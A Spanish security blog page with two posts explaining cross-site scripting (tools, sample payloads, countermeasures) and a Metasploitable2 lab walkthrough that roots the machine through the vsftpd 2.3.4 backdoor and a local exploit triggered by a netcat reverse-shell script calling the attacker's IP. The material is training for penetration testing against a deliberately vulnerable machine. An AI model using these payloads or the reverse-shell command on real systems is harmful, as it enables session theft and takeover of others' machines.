.

.

martes, 20 de agosto de 2019

Entendiendo el Cross Site Scripting (XSS) - Parte 2/2


Después de introducirnos en el XSS en la entrada anterior, en entender como se produce, que tipos podemos encontrar y como tratar de evitarlo, en este artículo veremos diferentes tipos de inyección de XSS, herramientas que podemos utilizar y algunos link de referencia.

HERRAMIENTAS:

 Dentro del mundo XSS, encontraremos diversas herramientas que ayudaran en diferentes funciones, ya sea desde la detección, hasta la explotación de las mismas. Ahora simplemente nombraré algunas de ellas, pero os animo a que tiréis de buscador y probéis otras diferentes opciones:

  • Xenotix:
OWASP Xenotix XSS Exploit Framework es un marco avanzado de detección y explotación de vulnerabilidades Cross Site Scripting (XSS). Proporciona resultados de escaneo de cero falsos positivos con su exclusivo escáner integrado de Triple Browser Engine (Trident, WebKit y Gecko). Se afirma que tiene la segunda mayor carga útil XSS del mundo de más de 1500 cargas útiles XSS distintivas para la detección efectiva de vulnerabilidades XSS y el desvío WAF. Se incorpora con un módulo de recopilación de información rico en funciones para el reconocimiento de objetivos. El Exploit Framework incluye módulos de explotación XSS altamente ofensivos para pruebas de penetración y creación de prueba de concepto.
La encontramos para sistemas operativos Windows y como característica especial podemos afirmar que produce muy pocos falsos positivos.


Página oficial OWASP: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework

https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework#owasp-xenotix-xss-exploit-framework

  • BeEF:

Browser Exploitation Framework. Es una herramienta de prueba de penetración que se centra en el navegador web.
BeEF permite al pentester evaluar la seguridad real de un entorno objetivo mediante el uso de vectores de ataque del lado del cliente. 

Podemos encontrar esta herramienta instalada por defecto en Kali Linux.



  • BruteXSS:


BruteXSS es una herramienta muy potente y rápida, que se utiliza para forzar parámetros por medio de fuerza bruta. El BruteXSS inyecta múltiples cargas útiles que obtiene de una lista de palabras específica y las ejecuta sobre los parámetros indicados, escaneando si alguno de los parámetros es vulnerable a la vulnerabilidad XSS. 


  1. Soporta peticiones GET y POST.
  2. Fuerza bruta de parámetros XSS.
  3. Escaneo vulnerabilidades XSS.
  4. Se puede incluir una lista de palabras personalizada
  5. Interfaz de usuario amigable.
https://github.com/shawarkhanethicalhacker/BruteXSS-1


  • XSSer:
Cross Site "Scripter" es un marco automático para detectar, explotar y reportar vulnerabilidades XSS en aplicaciones basadas en la web.

  1. Viene instalada por defecto en Kali Linux.
  2. Soporta peticiones GET y POST.
  3. Permite diferentes tipos de inyecciones (XST, XSS, XSA, XSR, DOM, DCP, Induced...).

https://sourceforge.net/projects/xsser/


EJEMPLOS DE INYECCIONES: 

Algunos de los ejemplos de inyección que se pueden realizar en una aplicación web vulnerable a XSS:

<script>alert('XSS');</script> (Alert)
<script>prompt('XSS')</script> (Para sacar un prompt)
<svg onload=prompt('XSS')> (Para sacar un prompt)
<script>alert(document.cookie)</script> (Para sacar cookie de sesión)
<script>alert(document.domain)</script> (Para sacar la IP de la WEB)
<script>for(;;)alert("bucle");</script> (Denegación de servicio)
<img src=foo.png onerror=alert(/XSS/) /> (Inyección en objeto IMG de HTML)
<BODY onload=alert("XSS")> (Inyectando objeto BODY de HTML)


REFERENCIAS: 


Publicado por en No hay comentarios:
Etiquetas: , , , , , , ,

miércoles, 14 de agosto de 2019

Entendiendo el Cross Site Scripting (XSS) - Parte 1/2


El XSS o “Cross-site Scripting”, es una de las vulnerabilidades que siempre se encuentran, en el TOP 10 de las más explotadas en cuanto a lo que aplicaciones web se refiere. *(Puesto número 3 en el TOP10 de OWASP).

Esta vulnerabilidad, permite a un atacante la ejecución de código del lado del cliente (navegador), siempre y cuando la aplicación web sea vulnerable a XSS.


A rasgos generales: se aprovecha de la validación incorrecta en los campos de entrada de datos de la aplicación (Ej: Formularios).

Permite la inyección de código JavaScript y similares, que además es interpretado por el servidor y por consiguiente, altera el normal funcionamiento de la aplicación.

En caso de que el ataque tenga éxito, permitirá a los atacantes robar contraseñas y otra información sensible, redirigir a los usuarios a web maliciosas, robar sesiones de usuario, suplantar identidad del usuario atacado, entre otras.


La explotación de un XSS puede causar: 
  • Redirección a sitios no legítimos (páginas falsas), con la intención de engañar a la víctima.
  • Secuestro de sesión de las cuentas de las víctimas, para escalar privilegios y acceder a los sistemas.
  • Instalación de malware en el sistema victima.
  • Ejecución de exploits en el servidor.
  • Provocar un mal funcionamiento de los sistemas vulnerados.
  • Denegación de Servicio (DoS).

 Ejemplo básico de XSS:

XSS funciona debido a que no se validan los datos que se publican desde un campo de entrada, lo que provoca que en cualquier secuencia de comandos en el campo de entrada, con ciertas características pueda aprovechar dichas vulnerabilidades.

De esta manera, por ejemplo, un atacante podría acceder a una web vulnerable a XSS y a través de su formulario de contacto, podría preparar un ataque en el cual inyectara código en alguno de los campos de dicho formulario


Todo empieza, por ejemplo, con una página que permita insertar comentarios o contenido, por parte de los usuarios. Esto puede producirse en cualquier tipo de formulario, comentarios de contenido, etc.

Si en cualquiera de estos cuadros de texto, un atacante, en vez de introducir los datos que pida el formulario, introdujera: <script>alert('Comentario')</script>, (lenguaje en JavaScript) y al enviar saltara un pop-up, nos encontraríamos ante una aplicación vulnerable a XSS. 


Tipos de XSS:

 Hay que tener en cuenta, que este tipo de vulnerabilidad puede ser darse de diferentes formas:
  • XSS Reflejado.
  • XSS Almacenado.
  • XSS Basado en DOM.

A continuación, haré una breve explicación de cada una:

  • XSS Reflejado: También conocido como indirecto o no persistente, es el más habitual de los XSS. Es temporal, ya que solo se ejecuta al enviar la petición una vez a nivel navegador. Bastante común en páginas web dinámicas y aplicaciones de correo. Las posibles consecuencias: Robo de cookies, secuestro de navegador, phising, cambio del contenido y estructura de la aplicación web, instalación de software malicioso en el sistema. 
  • Almacenado: También conocido como directo o persistente, perdura en el servidor, ya que al ejecutarlo por primera vez se almacena en la base de datos de la aplicación web. Cada vez que se cargue la página web, se ejecutará nuevamente y se mostrará la inyección a los usuarios de la misma. Las posibles consecuencias: Además de las indicadas en el XSS Reflejado, captura de información de las aplicaciones, defacement de app, escaneo de puertos de las víctimas, ejecución de exploits, denegación de servicio. 
  • Basado en DOM: Es un XSS local y persistente, que esta basado en modificar el entorno DOM* del navegador, debido a su mal uso. Este tipo de XSS se ejecuta del lado del cliente, afecta a páginas estáticas, siendo un ejemplo de elementos vulnerables: document.location / document.URL / etc. Las consecuencias son similares a las presentes en los XSS reflejado y almacenado. *(Para los que no estén al día sobre DOM, nos referimos al Modelo de Objetos del Documento (DOM), el cual es una interfaz de programación de aplicaciones (API) para documentos validos HTML. Define la estructura lógica de los documentos y el modo en que se accede y manipulan).

¿Como identificar XSS?:

Para identificar una vulnerabilidad de "cross site" en primera instancia, debemos de pensar en algunas de las causas que producen que esta vulnerabilidad este presente en una aplicación web, como son un mal filtrado de datos o no validación de entradas de datos en la aplicación (permite la introducción de todo tipo de valores, aunque no sea necesario).

Para ello, en apartados de la web destinados a la entrada de datos, como son formularios, paneles de acceso e identificación de usuarios, etc., se puede probar la introducción de comandos, como: <script>alert('XSS')</script>.

También se puede probar simplemente si la aplicación valida en estos campos de entrada, la introducción de caracteres especiales, como: /, < >, ".

Para asegurar del todo, que no se puedan ejecutar script en estos campos de entrada de datos, no deberían de permitirse la introducción de ciertos tipos de palabras, como: script, alert, src, etc.


¿Contramedidas?:

De la mano del punto anterior, vendrían las contramedidas y aspectos a tener en cuenta para evitar ser vulnerables a XSS, ya que los puntos que identifican un XSS son los que se deben evitar.
Para ello, se deben de tomar algunas como las siguientes medidas:


  • Validación de datos (en todos los campos de entrada, tanto del lado del cliente como del servidor). Solo se permitirán valores esperados y adecuados a lo que se está pidiendo (formato, longitud, etc.). Por ejemplo, no tiene sentido que en un campo de un formulario, en el que se esta pidiendo el nombre o apellido de una persona, se puedan introducir números o caracteres.
  • Sanitización de datos en los campos de entrada (Solo se permitirá texto plano, a nivel de que no se interprete o ejecute ningún tipo de comando).
  • Creación de listas (blancas y negras) para restringir los datos esperados. De esta manera, palabras como "script", estarán totalmente prohibidas y no serán aceptadas.
  • Evitar que el sistema ejecute código, al menos el proveniente de sitios concretos, como formularios. 
  • Hacer que las cadenas de entrada de datos, se conviertan en alfanuméricas, al igual que los datos introducidos por los usuarios se conviertan a sus equivalentes en HTML.
Todas estas medidas pueden tomarse desde el lado del servidor.

Hasta ahora hemos hablado de las medidas a tomar desde el lado del servidor, a la hora de securizar la aplicación, si queremos mantenernos seguros si nos encontramos en el lado del usuario, algunas de las cosas que tenemos que observar son las siguientes:


  • Como siempre y como una de las normas fundamentales en cuanto a mantener la seguridad al máximo se refiere, es primordial tener actualizado a la versión más actual todo el software del equipo: aplicaciones, sistema operativo, navegadores, etc.
  • Ante todo ser conscientes de lo que hacemos y de como navegamos, ojo con enlaces sospechosos, urls acortadas, links que no sabemos donde nos redirigen, etc.
  • Algo muy importante y que en una primera instancia no encontramos entre los consejos habituales, es que debemos de ser muy conscientes del estado de nuestro navegador, como lo tenemos configurado, etc. Por ejemplo, debemos de tener mucho cuidado con que complementos tenemos instalados y evitar o al menos controlar los que permitan la ejecución de scripts de manera automática.




  • Aunque parece evidente, siempre hay que nombrar que tener una solución de seguridad instalada en el equipo, que evite la ejecución de malware, siempre será un punto a nuestro favor.


Publicado por en No hay comentarios:
Etiquetas: , , , , , ,

miércoles, 24 de julio de 2019

Metasploitable2 - Pentesting (Parte 1)

Siguiendo la línea de otras entradas, en las que hemos estado practicando con máquinas vulnerables nuestras habilidades técnicas, en cuanto a lo que a pentesting se refiere, hoy os traigo una de las clásicas y más utilizadas para este propósito: "Metasploitable2".

DESCARGA_: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Datos sobre la máquina:



Nos encontramos ante un sistema Linux, que está diseñado intencionalmente vulnerable, con el objetivo de que los profesionales del sector, puedan probar sus habilidades y las diversas herramientas de seguridad.

La máquina contiene muchas de las vulnerabilidades más conocidas y en este caso, muchas más que su predecesora.

Podemos ejecutarla a través de plataformas de virtualización, como: VMWare, VirtualBox.
Una vez abierta dentro de una de estas plataformas de virtualización, ya viene configurada de manera predeterminada.

En los documentos explicativos que encontraremos con la máquina a la hora de descargarla, se pueden encontrar las diferentes credenciales por defecto, entre ellas las de administrador (msfadmin/msfadmin).

Una vez descargada y arrancada, en alguna de las plataformas de virtualización indicadas (viene configurada por defecto), la máquina pasara a formar con su IP asignada mediante NAT, parte de la misma red que nuestra máquina atacante (Kali Linux).

Una vez localizada la IP que le ha sido asignada a Metasploitable2 ( para lo cual podemos utilizar por ejemplo, la herramienta Nmap en nuestro Kali, con el comando: # nmap -sn 192.168.xx.xx/24 ), empezamos haciendo un escaneo de puertos de la misma: nmap -sT -sV -O -v -p1-65535 192.168.x.x.

Como puede observarse, la cantidad de puertos abiertos es abrumadora. Y esa es la cuestión, ya que el objetivo es poder probar sobre cada uno de ellos diferentes técnicas y encontrar diversas vulnerabilidades.



PUERTO 21 (FTP):

Vamos a empezar por el primero de los puertos que encontramos abiertos, el FTP.

Podemos observar, que por el corre la versión de software: vsftpd 2.3.4

Buscando por Internet información asociada a esta versión, encontramos que es vulnerable y que tiene un “backdoor” (Encontrado en exploit-db).


Como puede observarse en la captura de pantalla de exploit-db, el exploit está asociado a la ejecución en Metasploit, por lo que pasaremos a utilizar dicha herramienta.

Ejecutamos Metasploit en nuestra máquina Kali Linux (# msfconsole) y hacemos una búsqueda del exploit para la versión de vsftp instalada en el servidor:
# search vsftpd 2.3.4


Cargamos el exploit # use exploit /unix/ftp/vsftpd_234_backdoor.

No hace falta Payload, ya que el exploit viene preparado directamente para atacar la “backdoor”.
Se mete la IP objetivo ( # set RHOST IP) y ejecutamos el exploit: # exploit


Como puede comprobarse en la captura, ahora ya somos root en la máquina.
A forma de prueba y como POC, de lo que podría pasar si un atacante se hace con el control, lazo el comando "reboot" desde la máquina atacante y Metasploitable2 es reiniciado.



PUERTO 22 (SSH):

Entre las tareas del auditor, deben de existir una serie de pautas o tareas a checkear automáticamente, aunque solo sea por la fuerza de la costumbre.
La mayoría de las veces, no encontraremos nada, pero otras nos llevaremos una sorpresa.
En este caso, probando credenciales por defecto de SSH:


Entramos utilizando usuario y contraseña “user”.


Accedemos con el usuario user, el cual no tiene privilegios, con lo cual tenemos que escalar para hacernos con un usuario administrador.

Encontramos, que el sistema operativo es una versión antigua de linux, por lo que con toda probabilidad tendrá exploits conocidos.


  Buscamos en Exploit-db:


https://www.exploit-db.com/exploits/8572

Descargamos el exploit y lo metemos en: /var/www/html


  Tenemos que subirlo a la máquina de Metasploitable2, a la que por otro lado ya estamos conectados. Para pasar el archivo lo haremos utilizando Apache.


  Una vez que tenemos el exploit descargado en la máquina atacante (Nuestro Kali) y apache arrancado, solo queda ir a la consola en la que estamos conectados con Metasploitable mediante SSH.
Aquí descargaremos el exploit mediante “wget”.


  Si seguimos las instrucciones ofrecidas por el exploit en la web en que lo hemos descargado, necesitamos saber el PID de la tarjeta de red.


  Vemos que tenemos en la ruta que nos indican: /proc/net/netlink


  PID: 2712
*(En mi caso en concreto, el PID puede cambiar en cada máquina en que realicemos la prueba).

Por otro lado, a parte de ser necesario saber el PID, para la ejecución del exploit, en la información adjunta del exploit, nos dicen que lo que se ejecutará con el lanzamiento de este, es el proceso /tmp/run:


Por lo tanto, para completar el exploit necesitamos un payload que conecte con la máquina atacante (nuestro Kali), a modo de escucha (netcat), y sacar una shell con usuario “root”.
Todo esto, estará ubicado en ../run que será el script que se ejecute.

En resumen, debemos de colocar una shell en ../run,  que conecte con la máquina atacante al ejecutar el exploit.

Creamos un archivo con el nombre “run” que contenga el comando para la shell.
Yo voy a usar uno en bash.

#!/bin/bash/bin/netcat -e /bin/bash IP_KALI puerto

Debemos colocarlo en la misma carpeta que esta el exploit, en la máquina de Metasploitable2.
Vamos a realizar el mismo proceso que seguimos con el exploit. Creamos el archivo en la máquina Kali y lo pasamos a Metasploitable a través de la conexión SSH.

En el payload indicamos la IP de la máquina atacante y el puerto que queramos, como podéis ver en el comando.


  Nos queda así:
#!/bin/bash/bin/netcat -e /bin/bash 192.168.77.147 4444


  Guardamos y lo pasamos a la máquina objetivo, mediante wget.


  Ahora, antes de ejecutar el exploit, ponemos en escucha la máquina atacante (KALI), en el mismo puerto indicado en el payload, en este caso 4444.


  *.Como me gusta también indicar los posibles errores que podemos cometer, o acciones que se nos pueden pasar por alto, ya que todos nos podemos despistar en algún momento...
1º - Como podéis observar no he compilado.
2º - Debería de estar en el directorio temporal /tmp



  Ahora si!!

Volvemos al último punto:

Ponemos en escucha netcat en la máquina atacante Kali.

Hecho esto, en la terminal en la que estamos conectados mediante ssh con Metasploitable, ejecutamos el exploit junto al PID (2712 en mi caso): ./8572 2712


  Como podéis observar en la captura, lo hemos conseguido, somos root.



Publicado por en No hay comentarios:
Etiquetas: , , , , ,
Suscribirse a: Entradas (Atom)